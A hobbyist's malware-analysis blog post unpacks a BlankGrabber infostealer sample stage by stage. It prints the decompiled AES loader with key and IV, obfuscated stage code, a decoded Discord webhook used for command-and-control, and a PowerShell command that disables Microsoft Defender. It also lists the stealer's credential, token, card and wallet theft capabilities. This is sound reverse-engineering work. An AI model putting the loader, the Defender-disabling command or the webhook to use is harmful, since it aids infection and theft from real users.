BlankGrabber is nothing new. It's been documented by multiple companies such as [ThreatMon](https://www.linkedin.com/feed/update/urn:li:activity:7247179869443264512/), [K7Security](https://labs.k7computing.com/index.php/open-source-stealers-oss-python/) and has even had it's source code disclosed on [GitHub](https://github.com/Blank-c/Blank-Grabber). So why exactly are we looking at a well documented and even reversed sample? Because there's more than just the final payload. We a fresh unaltered sample, we get to look into how the sample gets dropped and loaded! ## How I found this sample If you've read other blogposts I wrote, you'll know I'm no pro. I'm just a curious dude that's starting to delve into the world of RE because malware has always fascinated me. Aside from the certification I'm currently working on, I really enjoy just grabbing random samples and figuring out how it works. One way of doing so is to simply go on [tria.ge](https://tria.ge), look for public reports that got flagged as malicious and download it. Put simply and quickly, [tria.ge](https://tria.ge) is a free and public dynamic analysis tool that gives you information about a sample by actually detonating it. The results will include interesting details such as PCAPs, dropped files and Windows APIs used. For this analysis, we'll focus on a bad boy titled "Velocity.exe". SHA256: 94237eac80fd2a20880180cab19b94e8760f0d1f06715ff42a6f60aef84f4adf MD5: 8073f87f61f0625f1ec5ecc24c1c686e Tria.ge link: https://tria.ge/250213-cswx4s1nhp I've also uploaded it to malshare if you want to follow along. [link](https://malshare.com/sample.php?action=detail&hash=94237eac80fd2a20880180cab19b94e8760f0d1f06715ff42a6f60aef84f4adf) ## Initial analysis The three things I like running first on an unknown binary is the following: 1. `file` to get an idea of the type of file I'm dealing with 2. `strings` to see if anything stands out at first glance 3. `Detect It Easy (DIE)` to see if there's some embeded files in there Upon running `file` on the binary, we can quickly determine it's a [PE](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) file since the value that's returned is `Velocity.exe: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections`. We can further validate this by getting the first few bytes that match the classic "MZ" (`0x4D 0x5A`) magic number and the classic `This program cannot be run in DOS mode` that's generated by the Linker (default stub). ![[Pasted image 20250629181132.png|]] Finally, we can throw the file into DIE to see if it's packed (or something like that). We quickly notice the file is most likely packed with PyInstaller and that the overlay contains ZLIB compressed data. That's pretty interesting! ![[Pasted image 20250629181146.png|]] Now this gives us a good idea of where we wanna move next. Do we care about how a PyInstaller PE executes? Not really (at least not for now). Instead, we're more interesting in <u>what it installs</u>. How do we find that? We unpack it. In this case, there's some pretty cool tools such as [PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor) but there's some even cooler free tools out there that unpacks the sample but also offers a few goodies. Remember the 3 tools I like to run first on a sample? Turns out a cool ass company out there offers this and even more, for free! ## UnpacMe > CJ, why are you, yet again, shilling for an online tool?! I'm gonna be honest here, I think what they do is absolutely fantastic. The cool studs at OpenAnalysis have managed to put out an easy to use tool that provides all you need for your initial analysis of an unknown sample. More so, the guys at OA make some absolutely crazy good learning content. Here's a video I personally really enjoyed and I highly suggest you give it a glance. They also have a [Patreon page](https://www.patreon.com/c/oalabs/posts) where they post even more detailed lessons and really teach you the fundamentals of RE. Sergei, you're a fantastic teacher. <iframe width="560" height="315" src="https://www.youtube.com/embed/04RsqP_P9Ss?si=IVH930TtZW0YzpsT" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe> This brings us to UnpacMe more specifically. I don't trust myself to accurately describe their services, however, so here's how they define their cool tool: > UNPACME is an automated malware unpacking service. Submissions to UNPACME are analyzed using a set of custom unpacking processes maintained by OpenAnalysis. These processes extract all encrypted or packed payloads from the submission and return a unique set of payloads to the user. In short, UNPACME automates the first step in your malware analysis process. Enough bootlicking, let's move into the results. You once again follow along by browsing to the result page [here](https://www.unpac.me/results/d6f19cd9-7edb-4e1d-9668-69f26afe540a). We first notice that the overlay has a very high entropy which is somewhat interesting ![[Pasted image 20250629181204.png|]] If we scroll a bit lower we see UnpacMe has extracted quite a few files for us and it's even provided us with a brief overview of what the files do ❤️. It also allows us to download each extracted file. ![[Pasted image 20250629181217.png|]] ![[Pasted image 20250629181231.png|]] ## Reversing the main pyc file If we take the file titled `31da8165-1390-4961-9dda-f70b7d9e9a79.pyc` and pass it to [PyLingual](https://pylingual.io/) we can get a perfectly reversed Python script. Upon reviewing it, we see it's fairly simple. ```python # Decompiled with PyLingual (https://pylingual.io) # Internal filename: loader-o.py # Bytecode version: 3.13.0rc3 (3571) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import os import sys import base64 import zlib from pyaes import AESModeOfOperationGCM from zipimport import zipimporter zipfile = os.path.join(sys._MEIPASS, 'blank.aes') module = 'stub-o' key = base64.b64decode('lWLqAOPPVuwIsc2H67NJ2Z/IJxVtYdpcyDQQxhN0o7I=') iv = base64.b64decode('s83KOFdOnbp77JPN') def decrypt(key, iv, ciphertext): return AESModeOfOperationGCM(key, iv).decrypt(ciphertext) if os.path.isfile(zipfile): with open(zipfile, 'rb') as f: ciphertext = f.read() ciphertext = zlib.decompress(ciphertext[::-1]) decrypted = decrypt(key, iv, ciphertext) with open(zipfile, 'wb') as f: f.write(decrypted) zipimporter(zipfile).load_module(module) ``` It starts by loading a file called "blank.aes", it reads it's content, reverses it, decrypts it, writes it to a file and imports (and executes) a module called `stub-o`. If you try to run it however you'll notice that PyAES doesn't actually have a function called `AESModeOfOperationGCM`. I'm not gonna lie, this got me confused for quite a bit but after a bit, I ended up realizing it was relying on a modified version of PyAES. Thankfully for us, AESModeOfOperationGCM was re-implemented in the [Grabbers-Deobfuscator](https://github.com/TaxMachine/Grabbers-Deobfuscator) repository. ![[Pasted image 20250629180617.png|]] With this said, we can finally tweak the original script to decrypt `blank.aes` into something we can further analyze. We'll manually import `pyaes` into our script and yank the `zipimporter` line to make sure we don't actually execute it's payload. ```python import os import sys import base64 import zlib sys.path.insert(0, "/mnt/d/malware/tmp/blankstealer/Grabbers-Deobfuscator/utils") from pyaes import AESModeOfOperationGCM zipfile = 'blank.aes' module = 'stub-o' key = base64.b64decode('lWLqAOPPVuwIsc2H67NJ2Z/IJxVtYdpcyDQQxhN0o7I=') iv = base64.b64decode('s83KOFdOnbp77JPN') def decrypt(key, iv, ciphertext): return AESModeOfOperationGCM(key, iv).decrypt(ciphertext) if os.path.isfile(zipfile): with open(zipfile, 'rb') as f: ciphertext = f.read() ciphertext = zlib.decompress(ciphertext[::-1]) decrypted = decrypt(key, iv, ciphertext) with open(zipfile, 'wb') as f: f.write(decrypted) ``` ## stub-o.pyc After running our script, we're left with a nice pyc file called `stub-o.pyc`. ``` $ file stub-o.pyc stub-o.pyc: Byte-compiled Python module for CPython 3.12 or newer, timestamp-based, .py timestamp: Wed Feb 12 23:43:26 2025 UTC, .py size: 272763 bytes ``` Time to do the Pylingual dance again! Once it's done rearranging the bits and bytes, we get a gem that looks something like this. ![[Pasted image 20250629181304.png|]] Thanfully for us, it's really nothing too complicated. The script essentially creates aliases for imports by obfuscating them with base64 and messing with how they're represented in the script. To keep things short, we go from this ```python __________ = eval(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([90, 88, 90, 104, 98, 65, 61, 61])).decode()) ___________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([90, 50, 86, 48, 89, 88, 82, 48, 99, 103, 61, 61])).decode()) _______________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([88, 49, 57, 112, 98, 88, 66, 118, 99, 110, 82, 102, 88, 119, 61, 61])).decode()) ________________ = __________(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 108, 48, 90, 88, 77, 61])).decode()) ____________ = lambda ______________: __________(___________(_______________(________________([98, 97, 115, 101, 54, 52]).decode()), ________________([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(______________, ___________(_______________(________________([98, 97, 115, 101, 54, 52]).decode()), ________________([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(________________([90, 88, 104, 108, 89, 119, 61, 61])).decode()) bigOldBlobOfBytes = ... ``` To this (roughly) ```python from lzma import decompress try: decompress(bigOldBlobOfBytes) except LZMAError: exit(1) ``` Which we could've also found out by writting those bytes and running `file` on it. ``` $ file stage3.bin stage3.bin: XZ compressed data, checksum CRC64 ``` ## Stage 3 After extracting the content of the xz file with ye ol' `7z x ./file_name` we're greeted with another garbage (obfuscated) script. ```python # Obfuscated using https://github.com/Blank-c/BlankOBF _______="AAH..."; _____="KBhqA..."; ____="LjNNNNNNNNNNNNNNNNpNN..."; ______="AACyJ..."; __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 110, 86, 112, 98, 72, 82, 112, 98, 110, 77, 61])).decode()).exec(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([98, 87, 70, 121, 99, 50, 104, 104, 98, 65, 61, 61])).decode()).loads(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode(__import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 50, 57, 107, 90, 87, 78, 122])).decode()).decode(____, __import__(getattr(__import__(bytes([98, 97, 115, 101, 54, 52]).decode()), bytes([98, 54, 52, 100, 101, 99, 111, 100, 101]).decode())(bytes([89, 109, 70, 122, 90, 84, 89, 48])).decode()).b64decode("cm90MTM=").decode())+_____+______[::-1]+_______))) ``` Which, after a bit of fucking around, gives us something like this ```python import base64, codecs, marshal, dis, types, importlib firstChunk = codecs.decode(bigBlob3, "rot13") totalCunks = firstChunk + bigBlob2 + bigBlob4[::-1] + bigBlob1 unb64 = base64.b64decode(totalCunks) unmarshalled = marshal.loads(unb64) ... ``` I'm not gonna lie here, I struggled quite a bit of extracting and reversing the marshalled content. Since the binary was initially tagged as being `Python 3.12+` I kinda went along with the current version of Python I was running (3.12) without questioning it too much. I kept trying and trying to either `dis.dis()` the marshalled object or to dump it as a pyc to then send it to PyLingual but for whatever reason, I kept getting hit with this. ``` $ python3 stage3.py malloc(): invalid size (unsorted) [1] 22904 IOT instruction (core dumped) python3 stage3.py ``` Yep, I had managed to cause a core dump in Python 💪. I then promptly reached out to the OALabs Discord channel to get a bit of help I tried other tricks such as writting the header manually and decompiling the file with [pycdc](https://github.com/zrax/pycdc) but sadly, no dice. I'd get a similarily cryptic error: ``` $ pycdc output.pyc CreateObject: Got unsupported type 0x0 Error loading file ./output.pyc: std::bad_cast ``` After more messing around, an absolute angel by the name of `manbearpiig` essentially told me to double check if my Python version was the same as the executable. I decided to run back to PyLingual to see if it had ID'd the version and lo and behold, it was using <u>version 3.13</u>. Some of you are probably laughing at my by this point but eh, you live and you learn! After upgrading to v3.13, I was able to dump the marshalled object to a pyc that can be further reversed via this simply line ```python import importlib pyc_data = importlib._bootstrap_external._code_to_timestamp_pyc(code) with open('stage4.pyc', 'wb') as f: f.write(pyc_data) ``` ## Final stage Woohoo! We've finally reached the endgoal! Let's look into the capabilities of BlankGrabber. For those following along, I've uploaded the full code in a Github repo: https://github.com/cyb3rjerry/revengd-malware/tree/main/blankgrabber ![[Pasted image 20250629181336.png|]] First thing I noticed is the C2 b64 encoded string. ![[Pasted image 20250629180546.png|]] which decodes to `https://discord.com/api/webhooks/1339377338789527583/ZaaIPm4r2pFnKkE4RUXqcS7xZBcizAgYuFYROtiKuY4mBlDtpUuVxpzdEO-vDdFinBBV`. This is interesting because it showcases <i>again</i> messaging apps being an important part of a C2. My little experience so far has shown me time and time again that both Discord and Telegram are frequently leveraged to act both as C2s <i>and</i> as delivery mechanisms/file hosting services. If you search for `cdn.discordapp.com` on [urlquery.net](https://urlquery.net/) you'll notice there's tons of executables being shared through their CDN. ![[Pasted image 20250629181348.png|]] ### Capabilities If we keep on scrolling a bit lower we'll notice is that our sample has sandbox detection capabilities (although great ones). It's all wrapped in a class called "VMProtect", not to be confused with [VMProtect](https://vmpsoft.com/). It can: - Detect the device's UUID and compares it against a blacklist. I couldn't find exactly where these came from but a quick Google search brought me to [a repo](https://github.com/6nz/virustotal-vm-blacklist/blob/main/MachineGuid.txt) which points to them being hostnames used by VirusTotal (or similar services). - Detect the device's hostname and compares it against a blacklist. Yet again, I'm not 100% sure of where this comes from but there's a lot of similarities with the [virustotal-vm-blacklist repo](https://github.com/6nz/virustotal-vm-blacklist/blob/main/pc_name_list.txt). - Detect the currently used username and compares it against a blacklist. Same similarities to the VT VM Blacklist. - Detect if the current IP is related to a hosting provider by leveraging [ip-api.com](http://ip-api.com/). - Detect if internet connectivity is being simulated by resolving a random domain that starts with `blank-`. - Detect if the current host is running in either VirtualBox or VMWare by querying registry keys, video controllers and `D:\` drive related paths. If any of these checks return positive, the sample terminates itself. ![[Pasted image 20250629180519.png|]] Moving on, we notice a few interesting WinAPI (for some reason named Syscalls although they're not Syscalls per se) bindings such as: - A binding to take a picture through the victim's webcam - A binding to [CreateMutexA](https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa) - A binding to [CryptUnprotectData](https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata) - A binding to hide the current window (using [ShowWindow](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-showwindow) with the `nCmdShow` value of `0`) ![[Pasted image 20250629180445.png|]] We also notice the sample has the capability to terminate tasks via `taskkill /F /PID %d`. It's also good to note it first lists all PIDs via `tasklist /FO LIST`. ![[Pasted image 20250629180427.png|]] More notably, we notice it also has the capability of killing Microsoft Defender via this base64 encoded string ![[Pasted image 20250629180409.png|]] which decodes to the script below. It essentially disables the [IPS (exploitation of known vulns)](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-disableintrusionpreventionsystem), [IO AV Protection (File download scan)](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-disableioavprotection), [Real time Monitoring](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-disablerealtimemonitoring), [Script scanning](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-disablescriptscanning), [Controlled folder access](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-disablescriptscanning), [Network protection](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-enablenetworkprotection), [MAPS reporting](https://learn.microsoft.com/en-us/powershell/module/defender/remove-mppreference?view=windowsserver2025-ps#-mapsreporting), prevents suspicious sample submission and finally removes all definitions in Defender. ```powershell powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` It can also extract WiFi passwords, setup a UAC bypass, embed itself in the startup applications and block websites. ![[Pasted image 20250629180320.png|]] ![[Pasted image 20250629180303.png|]] ![[Pasted image 20250629180230.png|]] ![[Pasted image 20250629180206.png|]] Interestingly, it seems to block AV websites specifically to try and prevent the user from remediating the infection. ![[Pasted image 20250629180145.png|]] Finally, it's also capable of getting the content of the clipboard, get the current AV, get screenshots and exfiltrate files using either [gofile](https://gofile.io) or [anonfiles](https://anonfiles.com). ![[Pasted image 20250629180129.png|]] ### Browsers Due to the prevalence of Chromium (Brave, Chrome, Opera, ...) it mainly focuses on it. This would get a little long to describe with code snippets so to make it short I'll list it's capabilities with bullet points instead. It can: - Get passwords stored in the browser - Get cookies - Get the victim's history - Get autofill values ### Discord Now this part gets interesting. This sample seems to target Discord very precisely and does a few cool things. First, it leverages Discord's API to establish a victim profile. It fetches the username, id, email, phone number, MFA status, Nitro Status and payment methods from the infected host. ![[Pasted image 20250629180112.png|]] Another cool trick in it's pocket is it's capability to inject code within Discord itself (or rather it's appdata storage). If we look at the following snippet, we'll notice a large chunk of base64 data. ![[Pasted image 20250629180054.png|]] If we decode it, we get a big block of Javascript that, put simply, tries to hijack any purchases made towards Discord. It'll then steal the CC number, API token & credentials and send them right back to a discord webhook. Funnily enough, it also @everyone in the channel attached to the webhook to make sure EVERYONE knows a CC number has been stolen. ![[Pasted image 20250629180036.png|]] The JS script also contains a link to the an asset hosted in the [original stealer repo](https://github.com/Blank-c/Blank-Grabber) which was archived in mid 2023. ![[Pasted image 20250629180020.png|]] ### Session theft BlankGrabber also seems to focus a lot on session stealing which makes a lot of sense considering a lot of apps are getting harder to break into purely with credential theft. It seems to focus mainly on: - Minecraft - Growtopia - Epic (games) - Steam - UPlay - Roblox - Telegram - Discord ### Crypto The main focus seems to be on MetaMask. As you'll notice below, it essentially searches for two extension IDs and dumps their content. ![[Pasted image 20250629175942.png|]] ## What do we make of this sample? Well I think it's first important to acknowledge this is a fairly simple to catch post-compromise stealer. It's not trying to be sneaky <i>at all</i>. Most modern "corporate" EDRs would most likely catch this very quickly which makes me think this isn't aimed at companies, it's aimed to random people. More so, we notice the focus on techs and games used by "younger people" such as Discord, Roblox, Growtopia which leads me to believe it's got an even more narrow focus on kids. I'm <s>very much</s> not judging anyone playing Robolox as an adult. Especially knowing Roblox has a [few problems](https://www.bloomberg.com/features/2024-roblox-pedophile-problem/) with adults. How would I rate the quality of this stealer? Eh, let's give it 3/10 for the effort. This was fairly easy to reverse and doesn't show super complex capabilities.